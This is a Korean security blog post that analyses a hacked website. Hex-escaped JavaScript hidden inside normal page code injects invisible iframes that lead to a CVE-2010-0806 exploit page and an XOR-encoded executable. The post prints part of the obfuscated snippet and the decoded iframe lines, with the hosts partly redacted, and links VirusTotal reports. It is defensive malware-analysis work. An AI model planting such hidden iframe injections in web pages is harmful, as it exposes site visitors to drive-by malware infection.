본문 바로가기

security/악성코드 유포

아스키 코드로 이루어진 악성 아이프레임 !!

지난번에는 아스키 코드로 이루어진 htm 파일을 소개 했지만 이번에는 정상 페이지에 악성 아이프레임을 삽입 되어있는 사이트를 찾아서 이렇게 글을 써본다. 이번에는 아이프레임만 찾아 낸다면 최종파일에 접근을 금방 할 수 있도록 되어있다.
그 내부 파일을 보면 다음과 같다.

[첫부분 생략]

top_html +="    <TD width=\"1\"></TD>";
top_html +="    <TD style=\"width:1px; height:2px; background-color:"+c+";\"></TD>";
top_html +="    <TD colspan=\"3\" bgcolor=\""+bg+"\"></TD>";
top_html +="    <TD style=\"width:1px; height:2px; background-color:"+c+";\"></TD>";
top_html +="    <TD width=\"1\"></TD>";
top_html +="  </TR>";
top_html +="</TABLE>";
document.write(top_html);
}
window["\x64\x6f(중략)\x6e\x74"]["\x77\x72(중략)\x72\(중략)\x3d\x30\x3e\x3c\/(중략)\x72\x61(중략)\x3e");
window["\x64\x6f(중략)\x6e\x74"]["\x77(중략)\x6f\(중략)\x3d\x30\x3e\x3c\/(중략)\x72\x61\(중략)x65\x3e");
function bottom_round(w,c,bg)

[마지막 부분 생략]

이 코드를 처음 봤을때는 아스키인지도 눈치 채지 못하고 그냥 넘어갔고 나중에야 알았다. 이렇식으로 아스키를 일반 JS 에 숨겨놓으니 감쪽과도 같았다. 아스키 코드 변경 방식은 \x 를 , 로 리플레이스 해준다면 더 보기 쉬울것이다. 이런 아스키 코드를 검색을 통해 다시 문자열로 바꾼다면 쉽게 아이프레임을 확인 할 수 있다.
아스키 코드를 해석된 아이프레임 사이트는 다음과 같다.

documentwriteln"]("<iframe src=http:\/\/ha(중략)..com\/index.htm width=0 height=0 scrolling=no frameborder=0><iframe>
document"]["writeln"]("<iframe src=http:\/\/www.cc(중략).com\/xx.htm width=0 height=0 scrolling=no frameborder=0><\/iframe>

이중 xx.htm (Exploit.JS.CVE-2010-0806.ao) 에서 최종 파일을 받는 역할을 하는것으로 나타나고 있다.
xx.htm 또한 MXMZ5858 이런식으로 리플레이스가 필요한 코드로써 다시 한번 디코딩해야 비로서 최종파일인 k917r.exe 이 나온다.

* 단 최종파일 k917r.exe는 XOR 변형을 해주어야만 본 역활인 악성 코드 역활을 할 수 있습니다.

* 신고 업체 : 안철수연구소 , 이스트 소프트 , 네이버 백신

[바이러스 토탈 결과]

xx.0tm : http://www.virustotal.com/file-scan/report.html?id=69ea0d2bdee2c4939e587c83b04cee016ed91743127da293213f4c3bfbea79fb-1284897546

k917r.0xe : http://www.virustotal.com/file-scan/report.html?id=39f39fe59ec5708cffb1f0f2175cd320915c42d545b554575408fec75dff6540-1284897550

k917r.exe_Kwan : http://www.virustotal.com/file-scan/report.html?id=977548297fb097f1a6fd39950c7273b26948e163c1bd329cdc1c2a91e504d26c-1284895437

관련글 : 아스키 코드를 이용한 악성코드 !!